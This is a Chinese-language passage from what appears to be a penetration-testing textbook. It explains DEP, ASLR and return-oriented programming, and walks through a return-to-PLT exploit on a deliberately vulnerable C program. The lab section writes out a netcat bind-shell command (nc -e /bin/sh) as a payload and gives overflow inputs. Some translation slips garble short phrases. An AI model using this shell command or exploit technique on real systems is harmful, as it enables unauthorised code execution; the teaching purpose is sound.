在本章中,我们学习了程序执行过程中低级内存管理的基础知识。我们学会了如何检查执行过程中的细节,包括如何暂时暂停执行,以便我们可以详细检查内存。我们介绍了一些关于汇编语言和调试的基本知识,不仅完成了本章的学习,也为后续章节的工作做好了准备。我们编写了一个简单且易受攻击的 C 程序,演示栈溢出攻击。一旦我们理解了栈级别的程序,我们就使用msfvenom生成了一个纯十六进制操作码的有效负载。为了准备这个有效负载进入目标,我们学会了如何手动查找并移除破坏代码的 shellcode。

在下一章,我们将讨论这些原理如何促使防御者的进化,以及返回导向编程(ROP)这一创新解决方案。

问题

回答以下问题,测试你对本章内容的理解:

  1. 栈是一个 ________,即后进先出(LIFO)结构。

  2. 对于这个通用寄存器列表,找出未列出的八个寄存器中的哪一个——EAXEBXECXEDXEBPESIEDI

  3. 在 AT&T 汇编语言符号中,从一个地方复制数据到另一个地方时的操作数顺序是 ________。

  4. jnz 会导致执行跳转到指定的地址,如果 EBX 的值为零。(对 | 错)

  5. 基址指针和栈指针之间的内存空间是 ________。

  6. \x90 操作码臭名昭著地破坏了 shellcode。(对 | 错)

  7. 什么是小端(little-endian)?

进一步阅读

若要了解更多关于本章涵盖主题的信息,请查看以下资源:

  • 为了乐趣和利益,砸栈,这是对栈溢出攻击的臭名昭著讨论(www.phrack.org/issues/49/14.xhtml#article

  • 实用逆向工程:x86、x64、ARM、Windows 内核、逆向工具和混淆,Dang、Bruce、Alexandre Gazet 和 Elias Bachaalany 著,John Wiley and Sons,2014 年。

第十一章:Shellcoding – 绕过保护

当我和朋友或家人谈论机场安全时,我常常听到一句玩笑话:“也许我们应该直接禁止乘客登机”。虽然这显然是讽刺的,但让我们稍作思考——无论我们如何筛查每个登机的人,我们仍然必须让至少一些人通过,特别是飞行员。恶意的外部人员与信任的内部人员之间有明显的界限,后者因为他们的角色需要被赋予必要的访问权限以完成工作。我们可以将恶意的外部人员比作 shellcode,将负责操作的信任飞行员比作合法的本地二进制文件。在完美的安全筛查确保没有恶意人员能登机的情况下,你仍然必须相信飞行员没有受到外部影响的腐蚀;也就是说,他们的权力被用来执行恶意行为。

欢迎来到返回导向编程ROP)的概念,在这个世界中,我们生活在一个没有办法注入和执行 shellcode 的“天堂”,但我们已经找到了如何利用已有代码来完成我们的“肮脏工作”。我们将学习如何将 x86 指令集的密度与传统的程序缓冲区漏洞结合,从而构造几乎任何任意功能。我们将暂时不再注入恶意代码,学习如何将“好代码”反过来用在自身。

在本章中,我们将涵盖以下主题:

  • 理解核心防御概念,如数据执行防护DEP)和地址空间布局随机化ASLR

  • 学习如何检查机器码和内存,识别可以为我们所用的指令,这些指令被称为小工具(gadgets)

  • 理解基于 ROP 的不同类型的攻击

  • 探索黑客们用来实施 ROP 攻击的工具

  • 编写并攻击一个易受攻击的 C 程序

技术要求

对于 ROP,你需要以下内容:

  • 32 位 Kali Linux 2021.3

  • ROPgadget

DEP 和 ASLR——有意为之与不可避免的情况

到目前为止,我们只是稍微提到了这些概念:DEP(也叫做 NX,禁止执行)和 ASLR。我恐怕我们不能永远避开它们。我听到后面有几个黑客在说,好啊!当我们必须禁用基本保护才能让攻击生效时,演示的冲击力就消失了。这说得也有道理。当我们在第十章中介绍基本的缓冲区溢出时,Shellcoding – 栈,我们显式地禁用了 ASLR。(公平来说,Windows 7 系统开箱即用就是这样。)不过,这一切都是经过设计的——我们首先要回过头来,才能理解核心概念。这些保护机制是应对我们已展示过的攻击。但看看我,又在跑题,没定义这些简单的概念。

理解 DEP

你还记得我们把 shellcode 放到哪里吗?答案是在栈或堆内存中,它是为执行线程预留的内存。当一个函数运行时,会为变量和其他完成任务所需的数据分配空间;换句话说,这些区域并不打算存放可执行代码。在内存中选择一个位置来存储一个数字,但后来被告知,嘿,记得那个内存位置吗?让我们执行那里存放的内容,应该是值得怀疑的。但不要忘了,处理器是非常强大、迅速且愚笨的。它们会按指令执行。这个简单的设计,即执行指令指针指向的位置的内容,就是 shellcoding 黑客所利用的。

进入 DEP。DEP 的基本原理是监控指令指针引用的内存位置是否被明确标记为可执行。如果没有标记,便会发生访问冲突。Windows 有两种 DEP——软件强制硬件强制。以下截图展示了 Windows 界面上 DEP 设置的样子:

图 11.1 – Windows 中的 DEP 设置

图 11.1 – Windows 中的 DEP 设置

软件强制 DEP 在操作系统的更高层运行,因此,任何能运行 Windows 的机器都可以使用,并且可以防止任何试图利用异常处理机制的攻击。硬件强制 DEP 则使用处理器的执行禁用XD)位来标记内存位置为不可执行。我们来看一下软件强制和硬件强制的区别:

图 11.2 – 两种 DEP:软件和硬件

图 11.2 – 两种 DEP:软件和硬件

那么,这对我们这些狡猾的黑客有什么影响呢?整个技巧在于为我们的代码分配内存,而程序将其视为普通变量。同时,我们希望处理器能信任我们,认为执行流的跳转是指向指令指针地址的。首先,让我们来看一下内存位置的随机化。

理解 ASLR

回忆一下我们在处理栈溢出攻击时的经历。我们在代码中找到了易受攻击的strcpy()函数,往缓冲区填入无意义的字符,故意溢出它,然后查看调试器,发现 EIP 被我们无意义的数据覆盖。通过精心构造有效载荷,我们能够找到内存中需要放置 NOP sled 指针的准确位置,最终执行 shellcode。现在,回想一下我们使用 gdb 的 examine (x) 工具来确定 EIP 在内存中的确切位置。因此,我们能够绘制出栈的结构,并且每次运行进程时都能可靠地到达该指令指针的位置。

请注意,我强调了“可靠性”一词。现代操作系统,如 Windows,允许多个程序同时运行,并且它们都有大量可寻址的内存可用——而这里的“大量”是指超出了物理内存所能容纳的范围。操作系统的部分职责是找出那些不太重要的内存部分,以便将它们存储在硬盘上,并在需要时通过分页调入使用。因此,程序看到的是一个庞大的连续内存块,实际上是虚拟的,而内存管理单元则管理着那一层隐藏物理现实的抽象:

图 11.3 – 虚拟内存与其物理基础之间的抽象

图 11.3 – 虚拟内存与其物理基础之间的抽象

引入 ASLR。这个名字很形象——程序在虚拟地址空间中的布局在每次运行时都会发生变化。这包括像库文件、栈和堆之类的内容。当然,要找到可以做我们“脏活”的内存位置,需要通过传统的试错方法(黑客的最大技巧),但一旦发现,它们就会保持一致。ASLR 打破了这一点,它通过将内存中的目标位置变成一个机会游戏,来消除我们的依赖。

我还没有讨论过库,这个话题值得一本巨大的书来讲解。虽然我们快速回顾一下吧。想象一下,名义上的“你所在的公共图书馆”。它是一个共享资源的地方——你可以去借一本书,利用其中的信息,然后再归还给其他人使用。库是程序可以重用的资源集合。例如,从文件中读取信息和将数据写回文件的任务,需要代码来告诉计算机如何执行,但这是许多不同程序都会需要做的事情。因此,不必为每个程序重新发明轮子,许多程序都可以使用包含这些功能的库。你可以在编译程序时将库与代码一起包含,这会使用更多内存,但可以更快速地运行。这些是静态库。更常见的方法是动态库,它们在你运行程序时被链接。

在 Kali Linux 上使用 C 演示 ASLR

我们可以在本地的 Kali Linux 上观察 ASLR 的工作情况,因为它默认启用。我们将编写一个简单的 C 程序,仅仅打印当前 ESP 指向的位置。

启动vim stackpoint.c来创建一个空文件,然后输入以下内容:

图 11.4 – 一个快速的 C 程序,打印 ESP 的位置

图 11.4 – 一个快速的 C 程序,打印 ESP 的位置

这并不难。现在使用gcc -o stackpoint stackpoint.c编译它,然后执行几次。你会看到每次运行程序时栈指针的位置都会发生变化:

图 11.5 – 我们的栈指针程序在启用随机化时的运行情况

图 11.5 – 我们的栈指针程序在启用随机化时的运行情况

这就是虚拟内存随机化的样子。看看禁用 ASLR 后运行相同程序时输出的鲜明对比:

图 11.6 – 我们的栈指针程序在禁用随机化后

图 11.6 – 我们的栈指针程序在禁用随机化后

通过这个演示,让我们介绍 ROP 的基本概念。

介绍 ROP

所以,现在我们看到两种不同的反制措施,它们相互配合,使坏人的生活变得更加困难。我们正在消除加载程序到内存时,找到脆弱点所需的可预测性,同时将执行允许的内存区域限制到最小。换句话说,DEP/NX 和 ASLR 将一个大而固定的靶子转变成一个小而移动的靶子。希望你作为黑客,已经在为这些保护机制的安全假设进行头脑风暴。可以这样理解——我们将内存的某些区域设置为不可执行。然而,这毕竟是一个程序,所以某些指令必须执行。我们正在随机化地址空间,使得很难预测在哪里找到某些结构,但执行流程依然存在。必须有一种方法可以找到完成任务所需的一切。ROP 就利用了这一现实。让我们来看看它是如何做到的。

借用代码块并返回到 libc —— 让代码反过来为自己服务

当我们介绍缓冲区溢出攻击时,我们利用了我们自制 C 程序中的漏洞——那就是臭名昭著的strcpy()函数。由于该函数会将任何大小的输入传入固定大小的缓冲区,我们知道,只要进行一些研究,找到合适的输入就能使指令指针溢出并填入任意值。我们能够控制程序执行流的去向,那么我们该把它发送到哪里呢?当然是发送到我们注入的 shellcode 啦,傻瓜。为了实现这一点,我们做了两个重要假设——我们可以将任意代码块注入内存,并且可以说服处理器执行这些指令。假设这两个条件不成立——我们是应该打包回家,任由这个美味的strcpy()函数继续存在吗?没有这两个假设,我们仍然可以覆盖返回地址。我们不能直接指向我们注入的 shellcode,但我们可以指向程序中已存在的其他指令。这就是这个概念的核心:从程序内部借用代码块并使用返回来实现这一点。在你深入低级汇编世界之前,你可能已经直觉到,设计用于加载网页的程序只包含加载网页的代码。作为尊敬的黑客,你明白所有复杂程度的程序在最低层次上都在做一些非常简单的事情。你的友好网页浏览器和我那危险的后门 shellcode 共享相同的语言和相同的低级操作,都是在临时存储区中搬运数据,并告诉处理器下一段工作的地址。

好吧,所以我们正在借用来自脆弱程序中的代码来为我们做一些事情。听起来那些几乎什么也不做的小程序似乎会有更少的代码可供我们利用。我能听到后排的程序员在对我喊:别忘了库! 记住,甚至是那些仅供本书示范的小程序,也需要复杂的代码来做我们视为理所当然的事情。例如,拿 printf() 来说。程序怎么知道如何在屏幕上打印信息?试试创建一个包含 printf() 函数的 C 程序,但没有在顶部加上 <#include stdio.h> 这一行。会发生什么?没错——它无法编译:

图 11.7 – 忘记了我们的输入/输出预处理指令

图 11.7 – 忘记了我们的输入/输出预处理指令

请记住,include 预处理指令字面上是将定义的代码块包含进来。即使是两三行代码,在编译后也会充满“好东西”。这些“好东西”不仅仅是一些美味的小点心——它们是 C 程序中共享的 DNA。你 C 代码顶部的头文件引用了 C 标准库(libc)。libc 标准库包含了类型定义和宏等内容,还包含了许多我们常常视为理所当然的任务的函数。这里需要注意的一点是,多个函数可能来自同一个库。将这些联系在一起,当攻击者覆盖返回地址时,一种可能性是指向某个函数,这个函数在内存中存在正是因为它的功能是通过 include 指令引入的。作为 C 语言的标准库,libc 是显而易见的攻击目标;几乎任何程序,甚至是最简单的程序,它都会被链接进去,并且包含了许多我们可以利用的强大功能。这些攻击被称为 return-to-libc 攻击。

return-to-libc 技术帮助我们绕过了那种讨厌的不可执行防御。我们刚刚丢入栈中的任意代码实际上位于不可执行的空间中;另一方面,libc 函数则位于内存中的其他地方。返回到这些函数能让攻击者访问强大的功能,而无需我们自己写 shellcode。但这种方法有一个问题:内存布局随机化或 ASLR。在 ASLR 出现之前,这些有用的 libc 函数的位置很容易确定。在本章中,实操实验将查看 return-to-libc 方法的一种变体。

仍然需要有效 – ASLR 和偏移量

请记住,尽管 ASLR 会随机化基础地址,但程序仍然需要正常工作——也就是说,它需要能够找到自己各个部分的位置。因此,ASLR 根本无法改变从一个地方到另一个地方的距离——即偏移量。有时,一种叫做内存泄漏的漏洞可以向攻击者泄露随机化后的内存布局,从而帮助攻击者通过添加偏移量来找到目标函数的正确内存位置——即使它已经被随机化了!

如你所见,ROP 是一种攻击方式,而且有不同的方法来实现这种技术。对于这种概念的各种变体的正确处理超出了本书的范围,所以我们将仅展示一个基本示范。

ROP 的基本单元——gadget

我们正在使用的 x86 指令集有时被描述为紧凑的。一个单一字节的指令可能拥有强大的功能;例如,lodsb从内存中加载一个字节,并同时递增指针。那么,只有少量字节的程序呢?好吧,我们可用的选项就不会太多。但如果是任何一个链接到 C 标准库的程序呢?它的指令足够强大,足以让攻击者几乎做任何事情。我们可以利用代码的漏洞,将其反过来对付自己。

当一个函数被调用时,它的指令会被推送到栈上,位于返回地址之上,这样执行就可以从上次的过程调用处继续。在缓冲区溢出期间,我们会覆盖返回地址以控制执行流。现在,假设我们已经覆盖了返回地址,使其指向一些以返回结尾的指令。那些指令指向其他以返回结尾的指令,这些又指向其他以返回结尾的指令——你明白了。这些单独的代码片段被称为gadget(小工具)。通常,一个 gadget 比较短,但总是以将执行流转移到其他地方的指令结束。我们将这些 gadget 连接起来,创建任意功能——完全不需要注入。

希望你已经对我们所面临的情况有了基本的理解——现在我们需要检查这个任务的标准工具集。

熟悉我们的工具——MSFrop 和 ROPgadget

足够的讲解——让我们来看看你在开发 ROP 漏洞时最常用的两个工具。在将 Kali Linux 发挥到极限的精神下,我们将探索 MSFrop。这个工具非常适合在目标二进制文件中辅助研究 gadget。它会为你找到 gadget,并以友好的方式输出,供你回顾。然而,我们真正穿上实验服的工具是 ROPgadget。

Metasploit Framework 的 ROP 工具——MSFrop

我们习惯使用msfvenom,它是独立的,但仍然是 Metasploit 的一部分。MSFrop 则不同——它需要从 MSF 控制台运行。让我们启动msfconsole,然后运行msfrop,开始熟悉这个巧妙的工具猎人:

msfconsole

msf6 > msfrop

这只会显示一页帮助页面,列出所有选项。让我们逐步分析这些选项,了解 MSFrop 的强大功能:

  • --depth本质上是衡量你的 gadget 搜索深入代码的深度。由于 gadget 以返回指令结束,depth标志会从返回指令开始,向后搜索。深度是我们愿意从给定的返回位置向后搜索的字节数。

  • --search用于当我们要在 gadget 中寻找特定字节时。此标志接受一个正则表达式作为搜索查询;最常见的正则表达式之一是\x,表示十六进制数字。

  • --nocolor仅仅是为了美观;它去除了显示颜色,方便将输出结果传递给其他工具。

  • --exportdepth一样,是 MSFrop 的一个标准参数,特别是在较深的查找时。这会将 gadget 导出到 CSV 文件中,方便你在终端窗口过时后进行查看。

现在让我们来看看 ROP 世界中的另一个重要工具:ROPgadget。

你的高级 ROP 实验室 – ROPgadget

我直说了——我认为 MSFrop 在我们比较 ROP 工具时更像是一个荣誉提名。Metasploit Framework 能够作为一个全面的黑客工具非常棒,能在 MSF 控制台内研究二进制中的 gadget 也很方便。但我最喜欢的专用工具是用 Python 编写的 ROPgadget。它在我们的 Kali 盒子中用pip安装起来非常简单。如果你还没有安装pip,可以通过apt install python3-pip来安装它。然后,ROPgadget 只需一步安装:

图 11.8 – 使用 pip 安装 ROPgadget

图 11.8 – 使用 pip 安装 ROPgadget

让我们看看可用的选项,暂时不考虑一些特定处理器的命令:

  • --binary指定我们的目标,可以是 ELF 格式、PE 格式、Mach 对象格式或原始格式。

  • --opcode在二进制的可执行段中搜索已定义的操作码,而--string则在二进制的可读段中搜索指定的字符串。--string的一种用途是查看特定函数,如main()

  • --memstr是你借用目标二进制字符的生命线。假设你想将 ASCII 字符sh复制到缓冲区,而不进行注入。你可以传递--memstr "sh"参数,ROPgadget 将搜索内存中的\x73\x68

  • --depth在这里的含义与 MSFrop 中的相同。一旦找到ret,这个参数表示我们将搜索多少字节以找到 gadget。

  • --only--filter是指令过滤器。--only会隐藏所有内容,除了指定的指令;--filter会显示所有内容,除了指定的指令。

  • --range指定一个内存地址范围,以限制我们的 gadget 搜索范围。如果不使用此选项,将会搜索整个二进制文件。

  • --badbytes 就是字面意思,我疲惫的 shellcoder。就在你以为通过借用代码就能逃避那些破坏我们 shellcode 和梦想的字节时,经验丰富的 ROP 工程师偶尔会遇到这个问题。无论字节来自哪里,问题都会在执行时发生。还有一个需要记住的因素——实际的利用代码本身。在本章中,我们将使用 Python 来生成有效载荷。我们将使用强大的 struct 模块将二进制数据打包成字符串,然后像普通的字符串变量一样由 Python 处理。当你坐在那里调试破损的脚本时,记住 --badbytes,它可能正是你在找的东西。

  • --rawArch--rawMode 用于定义 32 位和 64 位架构及模式。

  • --re 接受一个正则表达式(例如,\x35)。

  • --offset 接受一个十六进制值,作为计算 gadget 地址的偏移量。

  • --ropchain 是一个绝妙的致命一击选项,可以为我们生成 Python 利用代码。它不像把它丢进一个 .py 文件然后执行那么简单;我们需要知道它是如何传递给易受攻击程序的。

  • --console 用于交互式 gadget 寻找。基本上,它会在 ROPgadget 中弹出一个终端窗口,以便进行特定的搜索。稍后我们会仔细看。

  • --norop--nojop--nosys 分别禁用特定 gadget 类型的搜索引擎——面向返回的、面向跳转的和系统调用指令的 gadgets。当你想了解你可以使用的所有 gadgets 时,通常不建议使用这些选项;它们仅用于精细化攻击。

  • 默认情况下,会抑制重复的 gadgets;你可以使用 --all 来查看所有内容。这对于收集与二进制文件中的 gadgets 相关的所有内存地址非常有用。

  • --dump 本质上是一个 objdump -x 对象,显示你的 gadgets;它会展示反汇编后的 gadgets 及其原始字节。

还有一些其他很棒的 ROP 程序可用,但 ROPgadget 应该可以完成几乎所有你的项目。让我们准备好进行测试,准备好我们的易受攻击可执行文件。

在不禁用保护的情况下创建我们的易受攻击 C 程序

ROP 攻击的广泛内容值得更多空间,但在这里我们只能提供一个简单的小示范,针对的是 x86 Linux 目标环境。启动 vim buff.c 来准备一个新的 C 文件,在 Vim 编辑器中输入以下熟悉的代码:

图 11.9 – 经久不衰的易受攻击程序

图 11.9 – 经久不衰的易受攻击程序

现在我们可以编译我们的全新程序。但让我们尝试一些不同的做法。

没有 PIE 给你 —— 编译你的易受攻击可执行文件时不启用 ASLR 加固。

按下Esc,然后输入:wq!保存并退出 Vim;接着,编译你的可执行文件。这次,我们引入 Clang。GCC 和 Clang 的差异超出了本讨论的范围,类似于编辑器之争,你会在两者之间找到有力的论据。Clang 更加轻量,其编译的代码对我们实验的目的来说更加“干净”(它也可以在 Windows 上原生运行)。启动它并使用以下命令编译你的新 C 程序:

图 11.10 – 禁用 PIE 加固在编译时

图 11.10 – 禁用 PIE 加固在编译时

回想一下,当我们最初创建一个易受攻击的 C 程序时,其漏洞主要存在于代码中(具体来说,通过使用臭名昭著的strcpy()函数)。这次,我们使用易受攻击的代码并在启用了易受攻击选项的情况下编译可执行文件:-no-pie。当位置无关可执行文件PIE)在 ASLR 环境中加载时,内核加载所有代码并分配随机虚拟地址(当然,入口点除外)。通常,安全敏感的可执行文件是 PIE,但正如你所看到的,这并不一定是这样。在某些发行版中——特别是 Kali Linux——你需要显式地禁用 Clang 或 GCC 编译 PIE。

先走再跑 – 禁用 PIE

类似于我们在第十章中进行的堆栈保护演示,Shellcoding – 堆栈,本演示禁用了可能在安全环境中找到的一种包加固策略:PIE。然而,不同于缺少 DEP 和 ASLR,使用绝对地址的软件在一些企业环境中仍然很常见。

现在我们已经有了实验的可执行文件,接下来让我们理解我们将要破坏的低级机制。

生成 ROP 链

如果你记得我们之前写的简单易受攻击的 C 程序,这次你会注意到一些不同之处。我们已经熟悉了strcpy()函数,但在这个程序中,我们有了system()函数。作为 C 标准库的一部分,system()将把命令传递给主机执行。

我们可以从程序的代码中提取单独的字节,将它们通过返回地址链接起来,并传递我们想要的字节到system()函数。潜力是有的,但我们面临的问题是如何找出system()的位置。让我们将返回到 libc 的思想朝着另一个方向发展。

亲自动手进行返回到 PLT 攻击

我说过很多次,过程链接表PLT)和全局偏移表GOT)是值得专门写一本书的主题。然而,我们将尝试通过速成课程理解如何绕过内存空间随机化。由于我们的可执行文件不是位置无关可执行文件,这要归功于我们的-no-pie编译配置,所以全局结构在编译时的实际位置是未知的。GOT 实际上是可执行文件在运行时使用的地址表,用来将 PIE 地址转换为绝对地址。在运行时,我们的可执行文件需要共享库,这些库在引导过程中通过动态链接器加载和链接。这时,GOT 会被更新。

由于地址在运行时是动态链接的,编译器实际上并不知道我们非位置无关代码中的地址是否会从 GOT 中解析出来。所以,使用-no-pie指定后,编译器按常规生成调用指令;这被链接器解释用来确定绝对目标地址并更新 PLT。现在我知道你在想什么——PLT 和 GOT 听起来有点像。它们是相似的概念,GOT 帮助位置无关程序保持它们的独立性。但我们有一个动态链接的非位置无关可执行文件。这里有一个简单的区别——GOT 用于将地址计算转换为绝对目标地址,而 PLT 则用于将我们的函数调用转换为绝对目标地址。

现在,让我们考虑返回到 PLT 这个术语。我们通过设置 ROP 链,将返回指向特定位置来发送流程;在这个场景下,我们将流程引导到 PLT 函数调用,从而消除了在运行时需要知道地址的需求。我们的链接器无意中成了这场罪行的同谋。

提取构建有效负载所需的工具信息

现在,我们将逐步解析 ROP 链和漏洞利用生成。返回到 PLT 部分通过gdb很容易理解。使用 ROPgadget 查找我们将用来构建链的字节也很简单。但程序内存写入呢?首先,我们来搞清楚一切所在的位置。

查找.bss 地址

我们需要与程序的设计一起工作,以便将数据写入某个地方。我们可以使用可执行文件中的.bss段来完成这项任务,因为.bss是一个存放还没有值的变量的地方。它本质上是为这些变量预留的空间,因此不会占用目标文件中的空间。对于我们的目的来说,我们只需要知道它的位置。使用gdb中的info file命令来获取带有范围的段列表,并记录下.bss的初始地址:

gdb buff

(gdb) info file

以下是这些命令生成的内存映射示例:

图 11.11 – gdb 中的文件信息

图 11.11 – gdb 中的文件信息

在我们的示例中,我们将为 .bss 写下 0x0804c028。现在,我们将寻找允许我们跳转程序代码的部件。

查找 pop pop ret 结构

strcpy() 函数弹出堆栈指针偏移量,用于源和目标参数,然后返回;因此,我们链条中的粘合剂是一个 pop pop ret 机器指令结构。幸运的是,这对于 ROPgadget 的 search 函数来说很容易。首先,进入交互式控制台模式,加载小工具,然后搜索相关结构。你会得到很多结果,但你要找的是一个 pop pop ret 结构,然后复制它的地址:

ROPgadget --binary buff --depth 5 –console

(ROPgadget)> load

(ROPgadget)> search pop ; pop ; ret

上述命令应生成如下截图所示的结果:

图 11.12 – 在我们的程序中找到 pop pop ret 小工具

图 11.12 – 在我们的程序中找到 pop pop ret 小工具

注意 5 字节的深度。记住,这意味着我们从给定的返回指令向后搜索 5 字节来查找小工具。但我们还没有完成 – 我们需要找到 systemstrcpy 函数的位置。

查找 system@plt 和 strcpy@plt 函数的地址

我们的 main() 函数需要调用 system()strcpy()。这是一个非 PIE 目标,所以我们要查找对应于 <system@plt><strcpy @plt> 的地址。使用 gdbdisas 命令来调查 main() 函数:

gdb 缓冲区

(gdb) disas main

请记住,我们使用 strcpy() 将所选字节复制到内存中,使用 system() 执行实际的系统命令:

图 11.13 – 标识 system@plt 和 strcpy@plt 的位置

图 11.13 – 标识 system@plt 和 strcpy@plt 的位置

现在,我们的笔记中有四个地址。现在我们只需找到代表我们命令的字符。幸运的是,它们已经存在于程序中。

使用 ROPgadget 和 Python 在内存中查找目标字符

你将尝试传递什么具体命令给 system() 是由你决定的。在我们的实际演示中,我只是启动 sh。但是,这里存在远程攻击的潜力。以以下 netcat 命令为例:

nc -e /bin/sh -lvnp 1066

这将设置一个与 sh 的会话,并将其传递给本地监听器,监听端口 1066。我们只需要在易受攻击的程序中找到构造这一行所需的字符的精确位置。这听起来很艰巨,但 ROPgadget 会通过 --memstr 标志为我们节省很多时间。自然,我们每个字符只需要一个内存地址,因此最干净的方法是直接传递我们 bash 命令中的唯一字符字符串。使用 Python 来完成这项任务,看起来很酷,还能给朋友留下深刻印象。启动交互式解释器 python3,然后运行此命令:

''.join(set('nc -e /bin/sh -lvnp 1066'))

这应该会输出一个干净的每个唯一字符一个结果,你可以将其传递给 ROPgadget,正如下面的截图所示:

图 11.14 – 处理重复字符的干净方法

图 11.14 – 处理重复字符的干净方法

使用 exit() 关闭解释器,然后将该命令的结果作为参数传递给 --memstr

图 11.15 – 每个字节的内存位置

图 11.15 – 每个字节的内存位置

对于我们的实验,我们保持简单——让我们只找到 sh; 的字符,看看我们是否能将其传递给 system。最后,让我们看看它是如何组合在一起的。

前进,前进,装备 ROP 链——将其组合起来以进行利用

我们已经很接近了,但还有一个最后的变量需要搞清楚——返回地址的偏移量。这更像是传统的溢出研究,用于注入 shellcode。所以,我们再次进入调试器。

使用 gdb 查找返回偏移量

我们的链条从 strcpy() 函数开始。我们之前已经覆盖了 EIP,这告诉处理器在哪里找到下一条指令(当然,是在一大堆 NOP 中)。在这种情况下,我们正在调整我们将要 返回 到的位置,实际上是在伪造调用帧。因此,我们需要进行足够深的溢出,以覆盖堆栈基指针 EBP。一旦找到这个合适的位置,我们就可以通过将其覆盖为我们的 strcpy@plt 地址,将流程传送到我们的第一个 strcpy() 函数:

图 11.16 – 调用帧和当前帧布局

图 11.16 – 调用帧和当前帧布局

到此为止,这应该只是你的复习内容。我们启动 gdb 并执行带有测试输入的 run 命令。最简单的方法是使用 Python 调用;例如,在 gdb 中,加载我们的目标可执行文件后:run $(python -c 'print "z" * 1028 + "AAAA"')。我们知道这将加载 1,028 个 z 字符——十六进制 0x7a——然后是 4 个 A 字符——十六进制 0x41。所以,当我们看到将 0x41414141 推送到 EBP 时,我们就知道自己已经找到了合适的地方:

图 11.17 – 预期的段错误后的内存检查

图 11.17 – 预期的段错误后的内存检查

在这种情况下,让我们检查 EBP 的值。我们的偏移量是多少?一旦你搞清楚这一点,让我们看看如何通过 Python 来传递它。

编写 Python 漏洞利用

最后,我们将其整合在一起。同样,我们在这个漏洞利用中测试的是sh;。让我们逐步分析发生了什么:

图 11.18 – Python 中的利用

图 11.18 – Python 中的利用

希望能清楚看到这一点是相当重复的——一旦你搞清楚了链条,构建更长的链条就相对简单了。请记住,由于 Python 3 处理类型的方式,我们在这个示例中使用的是 Python 2。你可以将其升级到 Python 3,只需先将字符串转换为字节即可。

请注意,我们已经从struct模块导入了pack()。这个函数使我们能够在 Python 中处理原始二进制数据,将其当作普通字符串处理。如果你特别喜欢自虐,也可以将打包字节的正则表示形式直接传递给程序作为参数。我有预感你会先尝试这种方法。有两个参数——字节顺序和类型,以及数据本身。<字符对于任何 Intel 漏洞利用来说都很重要——这是我们的小端字节顺序。

strcpy()函数的位置和我们的pop pop ret结构首先被声明,因为它们在每个链节中都会用到。之后,模式就相对简单了:

  1. 足够的填充(1,028 字节的字符z)以达到返回。

  2. 使用strcpy()的地址并返回到pop pop ret。请注意,pop pop结构对我们来说并不重要;字节已经被复制到内存中,我们正在触发返回。反复操作即可。

  3. 捕获代表命令中字符的第一个字节,并使用strcpy()pop pop ret逐字节地将其放入.bss中以保持链条继续。

  4. 以一个垃圾终止符结尾,并调用system(),指向.bss的基地址。此时,从该基地址开始,sh应该已存在于内存中。如果一切顺利,system()将执行sh

关键字是——如果一切顺利的话。一个真实的目标环境不会像你的实验室那样,存在很多因素可能导致这个攻击失败。它需要精细调试,但在一个大企业依然依赖遗留应用的世界里,我们今天仍然能看到这些攻击及其变种。希望这篇介绍能够帮助你深入研究 ROP 相关内容。

总结

近年来,一些安全专家一直在宣告 ROP 的终结。它被认为是陈旧且不可靠的,而新技术则承诺通过使用跟踪执行流中返回的影子寄存器来缓解即使是精心构建的漏洞。然而,Windows XP 已经死亡多年,但今天在大型生产环境中工作的人仍然会看到它顽强地生存着,运行着旧版应用程序。

今天,许多组织的主要工作并不是替换 XP,而是通过网络或第三方软件间接缓解,控制代码执行。ROP 目前仍然相关,即使它只是为了验证它在客户环境中无法正常工作。这种攻击的独特性使其尤其危险,尽管它目前已经显现出老化的迹象。

在本章中,我们回顾了 DEP 和 ASLR 作为理论概念,并在 Linux 上演示了这些技术的实际应用。我们介绍了 ROP 以及两种主要的工具:MSFrop 和 ROPgadget。我们编写了一个存在重大漏洞的 C 程序,并保持默认保护不变。章节的其余部分讲解了 ROP 的基础知识,包括返回到 PLT、返回到 libc、gadget 发现和复习。我们探索了如何将这些部分结合起来形成一个可行的漏洞利用。

在下一章中,我们将通过深入探讨防病毒逃避技术来结束我们的 shellcoding 回顾。我们将不再绕过堆栈保护机制,而是学习如何将我们的代码附加到注入的可执行文件中,并学习如何将我们的 shellcode 传递给脚本解释器。我们将亲自操作 PowerShell,学习如何利用 PowerShell 在 Windows 操作系统中的特权位置,并发挥它的优势。

问题

回答以下问题,以测试你对本章内容的掌握:

  1. 列出 Windows 中两种类型的 DEP。

  2. 定义libc

  3. 在返回之前,一个 gadget 的长度最多可以有多少字节?

  4. gcc -no-pie禁用 _______________ 硬化。

  5. PLT 和 GOT 之间有什么区别?

  6. 用 gdb 快速找到system@plt的方法是什么?

  7. 为什么pack(">I", 0x0804a02c)函数在 x86 处理器上的 ROP 上下文中不起作用?

进一步阅读

有关本章所涉及主题的更多信息,请查看以下资源: